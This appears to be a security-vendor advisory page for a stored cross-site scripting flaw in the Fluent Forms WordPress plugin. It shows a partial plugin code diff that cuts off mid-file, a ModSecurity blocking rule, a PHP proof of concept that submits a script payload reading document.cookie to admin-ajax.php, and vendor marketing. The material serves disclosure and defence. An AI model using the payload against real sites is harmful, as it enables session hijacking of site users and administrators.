+    $router->get('status', 'McpSettingsController@status');
+    $router->post('toggle', 'McpSettingsController@toggle');
+    $router->post('install-adapter', 'McpSettingsController@installAdapter');
+    $router->get('config-snippets', 'McpSettingsController@getConfigSnippets');
+});
+/*
 * Permission Roles
 */
 $router->prefix('roles')->withPolicy('RoleManagerPolicy')->group(function ($router) {
--- a/fluentform/app/Models/Form.php
+++ b/fluentform/app/Models/Form.php
@@ -6,6 +6,23 @@
 use FluentFormFrameworkSupportArr;
 use FluentFormAppModelsTraitsPredefinedForms;

+/**
+ * Column properties resolved at runtime via the ORM's magic __get; declared
+ * here so static analysis can verify attribute access against the real schema
+ * (database/Migrations/Forms.php).
+ *
+ * @property int $id
+ * @property string $title
+ * @property string|null $status
+ * @property string|null $appearance_settings
+ * @property string|null $form_fields
+ * @property int $has_payment
+ * @property string|null $type
+ * @property string|null $conditions
+ * @property int|null $created_by
+ * @property string|null $created_at
+ * @property string|null $updated_at
+ */
 class Form extends Model
 {
     use PredefinedForms;
--- a/fluentform/app/Models/Submission.php
+++ b/fluentform/app/Models/Submission.php
@@ -7,6 +7,33 @@
 use FluentFormAppServicesManagerFormManagerService;
 use FluentFormFrameworkSupportArr;

+/**
+ * Column properties resolved at runtime via the ORM's magic __get; declared
+ * here so static analysis can verify attribute access against the real schema
+ * (database/Migrations/Submissions.php).
+ *
+ * @property int $id
+ * @property int|null $form_id
+ * @property int|null $serial_number
+ * @property string|null $response
+ * @property string|null $source_url
+ * @property int|null $user_id
+ * @property string|null $status
+ * @property int $is_favourite
+ * @property string|null $browser
+ * @property string|null $device
+ * @property string|null $ip
+ * @property string|null $city
+ * @property string|null $country
+ * @property string|null $payment_status
+ * @property string|null $payment_method
+ * @property string|null $payment_type
+ * @property string|null $currency
+ * @property float|null $payment_total
+ * @property float|null $total_paid
+ * @property string|null $created_at
+ * @property string|null $updated_at
+ */
 class Submission extends Model
 {
     /**
--- a/fluentform/app/Models/Subscription.php
+++ b/fluentform/app/Models/Subscription.php
@@ -2,6 +2,8 @@

 namespace FluentFormAppModels;

+use FluentFormAppHelpersHelper;
+
 class Subscription extends Model
 {
     /**
@@ -43,12 +45,12 @@

     public function getOriginalPlanAttribute($value)
     {
-        return maybe_unserialize($value);
+        return Helper::safeUnserialize($value);
     }

     public function getVendorResponseAttribute($value)
     {
-        return maybe_unserialize($value);
+        return Helper::safeUnserialize($value);
     }

     public function scopeBySubmission($query, $submissionId)
--- a/fluentform/app/Models/Traits/PredefinedForms.php
+++ b/fluentform/app/Models/Traits/PredefinedForms.php
@@ -9,6 +9,21 @@
 {
     public static function resolvePredefinedForm($attributes = [])
     {
+        // A create request must name a template. Without this, Arr::get($map, null)
+        // inside findPredefinedForm() returns the WHOLE template map — a non-empty
+        // array that sails past both guards below and yields a form persisted with
+        // NULL form_fields. findPredefinedForm() itself keeps that whole-map
+        // behaviour on purpose: FormService::templates() depends on it.
+        $hasTemplateId = Arr::get($attributes, 'predefined')
+            || 'blank_conversational' === Arr::get($attributes, 'type');
+
+        if (!$hasTemplateId) {
+            throw new Exception(
+                // phpcs:ignore WordPress.Security.EscapeOutput.ExceptionNotEscaped -- Exception message, not output
+                __("The selected template couldn't be found.", 'fluentform')
+            );
+        }
+
         $predefinedForm = static::findPredefinedForm($attributes);

         if (!$predefinedForm) {
--- a/fluentform/app/Modules/Acl/Acl.php
+++ b/fluentform/app/Modules/Acl/Acl.php
@@ -436,6 +436,21 @@
             $user->add_cap($permission);
         }

+        /**
+         * Fires after per-user FluentForm permissions are attached.
+         *
+         * Role-level changes already announce themselves via
+         * fluentform/after_permission_set_assignment; this is the per-user
+         * equivalent, so caches keyed on a user's effective permissions can be
+         * invalidated when an individual manager is granted or revoked.
+         *
+         * @since 6.2.5
+         *
+         * @param WP_User $user        The user whose permissions changed.
+         * @param array    $permissions The permissions now attached.
+         */
+        do_action('fluentform/after_user_permissions_attached', $user, $permissions);
+
         return $user;
     }
 }
--- a/fluentform/app/Modules/Ai/AiFormBuilder.php
+++ b/fluentform/app/Modules/Ai/AiFormBuilder.php
@@ -2,7 +2,7 @@

 namespace FluentFormAppModulesAi;

-defined('ABSPATH') or die;
+defined('ABSPATH') || die;

 use Exception;
 use FluentFormAppHelpersHelper;
@@ -47,6 +47,8 @@
     }

     /**
+     * Map the AI-generated field list into a persisted form.
+     *
      * @param array $form
      * @return Form|FluentFormFrameworkDatabaseQueryBuilder
      * @throws Exception
@@ -88,6 +90,8 @@
     }

     /**
+     * Send the prompt to the AI service and return the decoded form fields.
+     *
      * @param array $args
      * @return array response form fields
      * @throws Exception
@@ -108,7 +112,7 @@
             'site_title'     => get_bloginfo('name'),
             'site_locale'    => determine_locale(),
             'has_pro'        => Helper::hasPro(),
-            'has_payment'    => $paymentSetting['status'] == 'yes',
+            'has_payment'    => 'yes' == $paymentSetting['status'],
             'request_id'     => uniqid('ff_ai_'),
             'save_usage'     => apply_filters('fluentform/ai_save_usage', true),
         ];
@@ -118,9 +122,12 @@
         if (is_wp_error($result)) {
             throw new Exception(esc_html($result->get_error_message()));
         }
-
+
         $response = trim(Arr::get($result, 'response', ''), '"');
-        if (false !== preg_match('/```json(.*?)```/s', $response, $matches)) {
+        // preg_match() returns 0 when there is no fence and false only on error,
+        // so this must test for an actual match — otherwise an unfenced (and
+        // perfectly valid) JSON reply is replaced with an empty string.
+        if (1 === preg_match('/```json(.*?)```/s', $response, $matches)) {
             $response = trim($matches[1]);
         }

@@ -130,20 +137,22 @@
         }
         return $this->applyPromptHints($decoded, $args);
     }
-
+
     protected function getDefaultFields()
     {
         if ($this->allDefaultFields) {
             return $this->allDefaultFields;
         }
-        /**
-         * @var FluentFormAppServicesFormBuilderComponents
-         */
         $components = $this->app->make('components');
         $this->app->doAction('fluentform/editor_init', $components);
         $editorComponents = $components->toArray();
-        $general = Arr::get($editorComponents, 'general', []);
-        $advanced = Arr::get($editorComponents, 'advanced', []);
+        // Re-key by element name. The palette groups are keyed by element in
+        // DefaultElements.php, but Components::sort() renumbers them 0..n for
+        // the editor's JSON contract - so whether these arrive keyed or as a
+        // list depends on whether anything rendered the palette earlier in the
+        // request. resolveInput() matches on the key, so normalise here.
+        $general = array_column(Arr::get($editorComponents, 'general', []), null, 'element');
+        $advanced = array_column(Arr::get($editorComponents, 'advanced', []), null, 'element');
         $container = Arr::get($editorComponents, 'container', []);

         // Apply filter to get additional components
@@ -164,7 +173,7 @@
         $this->allDefaultFields = array_merge($general, $payments, $advanced, ['container' => $container]);
         return $this->allDefaultFields;
     }
-
+
     protected function processField($element, $field, $allFields)
     {
         if ('container' == $element) {
@@ -189,7 +198,7 @@
             $formatField['attributes'] = wp_parse_args($attributes, $matchedField['attributes']);
         }

-        $formatField['uniqElKey'] = "el_" . uniqid();
+        $formatField['uniqElKey'] = 'el_' . uniqid();

         if ('form_step' === $element) {
             return $formatField;
@@ -227,10 +236,10 @@
                 }
             }
         }
-
+
         return $formatField;
     }
-
+
     protected function resolveInput($field)
     {
         if (!is_array($field)) {
@@ -264,7 +273,7 @@
         }
         return false;
     }
-
+
     protected function getOptions($options = [])
     {
         $formattedOptions = [];
@@ -292,10 +301,10 @@
                 'value' => $value,
             ];
         }
-
+
         return $formattedOptions;
     }
-
+
     protected function getBlankFormConfig()
     {
         $attributes = ['type' => 'form', 'predefined' => 'blank_form'];
@@ -305,16 +314,16 @@
         $customForm['form_fields'] = json_encode($customForm['form_fields']);
         return $customForm;
     }
-
+
     protected function saveForm($formattedInputs, $title, $isStepForm = false, $isConversational = false, $customCss = '')
     {
         $customForm = $this->prepareCustomForm($formattedInputs, $isStepForm);
         $data = Form::prepare($customForm);

         $form = $this->model->create($data);
-        $form->title = $title ?: $form->title . ' (ChatGPT#' . $form->id . ')';
+        $form->title = $title ? $title : $form->title . ' (ChatGPT#' . $form->id . ')';

-        $formData = (object)$form->toArray();
+        $formData = (object) $form->toArray();
         if (FormFieldsParser::hasPaymentFields($formData)) {
             $form->has_payment = 1;
         }
@@ -334,7 +343,7 @@
         if ($customCss = fluentformSanitizeCSS($customCss)) {
             Helper::setFormMeta($form->id, '_custom_form_css', $customCss);
         }
-
+
         do_action('fluentform/inserted_new_form', $form->id, $data);
         return $form;
     }
@@ -389,6 +398,8 @@
     }

     /**
+     * Build the step-wrapper skeleton used to wrap a multi-step form.
+     *
      * @return array
      */
     protected function getStepWrapper()
@@ -409,7 +420,7 @@
                     'enable_step_page_resume'      => 'no',
                 ],
                 'editor_options' => [
-                    'title' => 'Start Paging'
+                    'title' => 'Start Paging',
                 ],
             ],
             'stepEnd'   => [
@@ -422,38 +433,48 @@
                     'prev_btn' => [
                         'type'    => 'default',
                         'text'    => 'Previous',
-                        'img_url' => ''
-                    ]
+                        'img_url' => '',
+                    ],
                 ],
                 'editor_options' => [
-                    'title' => 'End Paging'
+                    'title' => 'End Paging',
                 ],
-            ]
+            ],
         ];
     }
-
+
     private function getUserPrompt($args)
     {
-        $startingQuery = "Create a form for ";
+        $startingQuery = 'Create a form for ';
         $query = Sanitizer::sanitizeTextField(Arr::get($args, 'query'));
         if (empty($query)) {
             throw new Exception(esc_html__('Query is empty!', 'fluentform'));
         }
-
-        // Validate query length to prevent abuse (max 2000 characters)
-        if (strlen($query) > 2000) {
-            throw new Exception(esc_html__('Query is too long. Please limit your prompt to 2000 characters.', 'fluentform'));
+
+        // Validate query length to prevent abuse (filterable; default 12000 characters)
+        $maxQueryLength = (int) apply_filters('fluentform/ai_query_max_length', 12000);
+        if (mb_strlen($query) > $maxQueryLength) {
+            throw new Exception(esc_html(sprintf(
+                /* translators: %d is the maximum allowed number of characters */
+                __('Query is too long. Please limit your prompt to %d characters.', 'fluentform'),
+                $maxQueryLength
+            )));
         }
-
+
         $additionalQuery = Sanitizer::sanitizeTextField(Arr::get($args, 'additional_query'));
-
-        // Validate additional query length (max 1000 characters)
-        if ($additionalQuery && strlen($additionalQuery) > 1000) {
-            throw new Exception(esc_html__('Additional query is too long. Please limit to 1000 characters.', 'fluentform'));
+
+        // Validate additional query length (filterable; default 6000 characters)
+        $maxAdditionalQueryLength = (int) apply_filters('fluentform/ai_additional_query_max_length', 6000);
+        if ($additionalQuery && mb_strlen($additionalQuery) > $maxAdditionalQueryLength) {
+            throw new Exception(esc_html(sprintf(
+                /* translators: %d is the maximum allowed number of characters */
+                __('Additional query is too long. Please limit to %d characters.', 'fluentform'),
+                $maxAdditionalQueryLength
+            )));
         }
-
+
         if ($additionalQuery) {
-            $query .= "n including questions for information like  " . $additionalQuery . ".";
+            $query .= "n including questions for information like  " . $additionalQuery . '.';
         }
         return $startingQuery . $query . $this->getPromptContractInstructions();
     }
@@ -462,9 +483,9 @@
     {
         return "nnReturn strict JSON only. The user's instructions may be written in any language. "
             . "Preserve labels and help text in the user's original language, but always return machine-readable field settings. "
-            . "For every field, explicitly set whether it is required in settings.validation_rules.required.value when the prompt marks it as required or optional. "
-            . "If the prompt lists allowed upload extensions, map them into settings.validation_rules.allowed_file_types.value. "
-            . "If the prompt asks for a multi-step form with sections, include form_step elements between sections.";
+            . 'For every field, explicitly set whether it is required in settings.validation_rules.required.value when the prompt marks it as required or optional. '
+            . 'If the prompt lists allowed upload extensions, map them into settings.validation_rules.allowed_file_types.value. '
+            . 'If the prompt asks for a multi-step form with sections, include form_step elements between sections.';
     }

     private function applyPromptHints(array $form, array $args)
@@ -510,7 +531,7 @@
             }

             $hint = Arr::get($hints, $hintIndex);
-            $hintIndex++;
+            ++$hintIndex;

             if (!$hint) {
                 continue;
@@ -676,7 +697,7 @@
             'wymagane',
             'zorunlu',
             '必填',
-            '必須'
+            '必須',
         ];
     }

@@ -691,7 +712,7 @@
             'opcional',
             'opcionales',
             '选填',
-            '任意'
+            '任意',
         ];
     }

@@ -711,7 +732,7 @@
             'caricamento file',
             'bestandsupload',
             'yükleme',
-            '上传'
+            '上传',
         ];
     }

@@ -747,7 +768,7 @@
             'ficheiro',
             'bestand',
             'yükleme',
-            '上传'
+            '上传',
         ];
     }
 }
--- a/fluentform/app/Modules/Entries/Report.php
+++ b/fluentform/app/Modules/Entries/Report.php
@@ -1,352 +0,0 @@
-<?php
-
-namespace FluentFormAppModulesEntries;
-
-use FluentFormAppHelpersHelper;
-use FluentFormAppModulesFormFormFieldsParser;
-use FluentFormAppServicesSubmissionSubmissionService;
-use FluentFormFrameworkFoundationApplication;
-use FluentFormFrameworkHelpersArrayHelper;
-
-/**
- *
- * @deprecated  use FluentFormAppServicesReportReportHelper
- * all used method reference updated with new ReportHelper, except Fluentformpro
- *
- */
-class Report
-{
-    private $app;
-    private $formModel;
-
-    public function __construct(Application $app)
-    {
-        $this->app = $app;
-        $this->formModel = wpFluent()->table('fluentform_forms');
-    }
-
-    /**
-     * Get report
-     *
-     * @param bool $formId
-     */
-    public function getReport($formId = false)
-    {
-        if (!$formId) {
-            $formId = intval($this->app->request->get('form_id'));
-        }
-
-        $this->maybeMigrateData($formId);
-
-        $statuses = $this->app->request->get('statuses');
-
-        $form = $this->formModel->find($formId);
-
-        $report = $this->generateReport($form, $statuses);
-
-        wp_send_json_success($report);
-    }
-
-    public function generateReport($form, $statuses = [])
-    {
-        $formInputs = FormFieldsParser::getEntryInputs($form, ['admin_label', 'element', 'options']);
-
-        $inputLabels = FormFieldsParser::getAdminLabels($form, $formInputs);
-
-        $elements = [];
-
-        foreach ($formInputs as $inputName => $input) {
-            $elements[$inputName] = $input['element'];
-            if ('select_country' == $input['element']) {
-                $formInputs[$inputName]['options'] = getFluentFormCountryList();
-            }
-        }
-
-        $reportableInputs = Helper::getReportableInputs();
-
-        $formReportableInputs = array_intersect($reportableInputs, array_values($elements));
-
-        $reportableInputs = Helper::getSubFieldReportableInputs();
-        $formSubFieldInputs = array_intersect($reportableInputs, array_values($elements));
-
-        if (!$formReportableInputs && !$formSubFieldInputs) {
-            return [
-                'report_items'  => (object) [],
-                'total_entries' => 0,
-            ];
-        }
-
-        $inputs = [];
-        $subfieldInputs = [];
-        foreach ($elements as $elementKey => $element) {
-            if (in_array($element, $formReportableInputs)) {
-                $inputs[$elementKey] = $element;
-            }
-            if (in_array($element, $formSubFieldInputs)) {
-                $subfieldInputs[$elementKey] = $element;
-            }
-        }
-
-        $whereClasuses = [];
-
-        if ($statuses) {
-            $whereClasuses['fluentform_submissions.status'] = [
-                'method' => 'whereIn',
-                'values' => $statuses,
-            ];
-        }
-
-        $reports = $this->getInputReport($form->id, array_keys($inputs), $whereClasuses);
-
-        $subFieldReports = $this->getSubFieldInputReport($form->id, array_keys($subfieldInputs), $whereClasuses);
-
-        $reports = array_merge($reports, $subFieldReports);
-
-        foreach ($reports as $reportKey => $report) {
-            $reports[$reportKey]['label'] = $inputLabels[$reportKey];
-            $reports[$reportKey]['element'] = ArrayHelper::get($inputs, $reportKey, []);
-            $reports[$reportKey]['options'] = $formInputs[$reportKey]['options'];
-        }
-
-        return [
-            'report_items'  => $reports,
-            'total_entries' => $this->getEntryCounts($form->id, $statuses),
-            'browsers'      => $this->getbrowserCounts($form->id, $statuses),
-            'devices'       => $this->getDeviceCounts($form->id, $statuses),
-        ];
-    }
-
-    public function getInputReport($formId, $fieldNames, $whereClasuses)
-    {
-        if (!$fieldNames) {
-            return [];
-        }
-        global $wpdb;
-        $reportQuery = wpFluent()->table('fluentform_entry_details')
-            ->select([
-                'fluentform_entry_details.field_name',
-                'fluentform_entry_details.sub_field_name',
-                'fluentform_entry_details.field_value',
-                wpFluent()->raw('count(' . $wpdb->prefix . 'fluentform_entry_details.field_name) as total_count')
-            ])
-            ->where('fluentform_entry_details.form_id', $formId)
-            ->whereIn('fluentform_entry_details.field_name', $fieldNames)
-            ->rightJoin('fluentform_submissions', 'fluentform_submissions.id', '=', 'fluentform_entry_details.submission_id');
-
-        if ($whereClasuses) {
-            foreach ($whereClasuses as $clauseColumn => $clasus) {
-                $reportQuery = $reportQuery->{$clasus['method']}($clauseColumn, $clasus['values']);
-            }
-        }
-
-        $reports = $reportQuery->groupBy(['fluentform_entry_details.field_name', 'fluentform_entry_details.field_value'])
-            ->get();
-
-        $formattedReports = [];
-        foreach ($reports as $report) {
-            $formattedReports[$report->field_name]['reports'][] = [
-                'value'     => Helper::safeUnserialize($report->field_value),
-                'count'     => $report->total_count,
-                'sub_field' => $report->sub_field_name,
-            ];
-            $formattedReports[$report->field_name]['total_entry'] = $this->getEntryTotal($report->field_name, $formId, $whereClasuses);
-        }
-
-        return $formattedReports;
-    }
-
-    public function getSubFieldInputReport($formId, $fieldNames, $whereClasuses)
-    {
-        if (!$fieldNames) {
-            return [];
-        }
-
-        global $wpdb;
-        $reportQuery = wpFluent()->table('fluentform_entry_details')
-            ->select([
-                'fluentform_entry_details.field_name',
-                'fluentform_entry_details.sub_field_name',
-                'fluentform_entry_details.field_value',
-                wpFluent()->raw('count(' . $wpdb->prefix . 'fluentform_entry_details.field_name) as total_count')
-            ])
-            ->where('fluentform_entry_details.form_id', $formId)
-            ->whereIn('fluentform_entry_details.field_name', $fieldNames)
-            ->leftJoin('fluentform_submissions', 'fluentform_submissions.id', '=', 'fluentform_entry_details.submission_id');
-
-        if ($whereClasuses) {
-            foreach ($whereClasuses as $clauseColumn => $clasus) {
-                $reportQuery = $reportQuery->{$clasus['method']}($clauseColumn, $clasus['values']);
-            }
-        }
-
-        $reports = $reportQuery->groupBy(['fluentform_entry_details.field_name', 'fluentform_entry_details.field_value', 'fluentform_entry_details.sub_field_name'])
-            ->get();
-
-        return $this->getFormattedReportsForSubInputs($reports, $formId, $whereClasuses);
-    }
-
-    protected function getFormattedReportsForSubInputs($reports, $formId, $whereClasuses)
-    {
-        if (!count($reports)) {
-            return [];
-        }
-
-        $formattedReports = [];
-
-        foreach ($reports as $report) {
-            $this->setReportForSubInput((array) $report, $formattedReports);
-        }
-
-        foreach ($formattedReports as $fieldName => $val) {
-            $formattedReports[$fieldName]['total_entry'] = $this->getEntryTotal(
-                $report->field_name,
-                $formId,
-                $whereClasuses
-            );
-
-            $formattedReports[$fieldName]['reports'] = array_values(
-                $formattedReports[$fieldName]['reports']
-            );
-        }
-
-        return $formattedReports;
-    }
-
-    protected function setReportForSubInput($report, &$formattedReports)
-    {
-        $filedValue = Helper::safeUnserialize($report['field_value']);
-
-        if (is_array($file

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-18146
# Block malicious XSS payloads in the 'response' parameter of Fluent Forms AJAX submissions.
# This rule targets the specific vulnerable parameter and blocks common script tag payloads.

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:202618146,phase:2,deny,status:403,chain,msg:'CVE-2026-18146 - Fluent Forms XSS via smartcode values',severity:'CRITICAL',tag:'CVE-2026-18146'"
  SecRule ARGS_POST:action "@streq fluentform_submit" "chain"
    SecRule ARGS_POST:response "@rx <script.*?>.*?</script>" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-18146 - Fluent Forms <= 6.2.11 - Unauthenticated Stored Cross-Site Scripting via Notification Smartcode Values

// Target WordPress endpoint
$target_url = 'http://example.com/wp-admin/admin-ajax.php';

// The malicious XSS payload to be injected
$payload = '<script>alert(document.cookie)</script>';

// Step 1: Determine the form ID. This requires the attacker to know the ID of a form
// that is configured with a notification using the vulnerable smartcode. In a real attack,
// the attacker would enumerate forms or use a known ID.
$form_id = 1;

// Step 2: Construct the POST data to submit a form entry. The 'input_password' field is used
// as the vector for the XSS payload. The field name is typically 'response' for a password-like input.
$post_data = array(
    'action' => 'fluentform_submit', // WordPress AJAX action for form submissions
    'formId' => $form_id,           // Target form ID
    'response' => $payload,          // Inject the payload here
);

// Step 3: Send the crafted request using cURL
$ch = curl_init($target_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_HTTPHEADER, array('Content-Type: application/x-www-form-urlencoded'));

$response = curl_exec($ch);
if (curl_errno($ch)) {
    echo 'Error: ' . curl_error($ch) . "n";
} else {
    echo "Submission sent. Payload stored.n";
    echo "Response body: " . $response . "n";
}
curl_close($ch);

?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.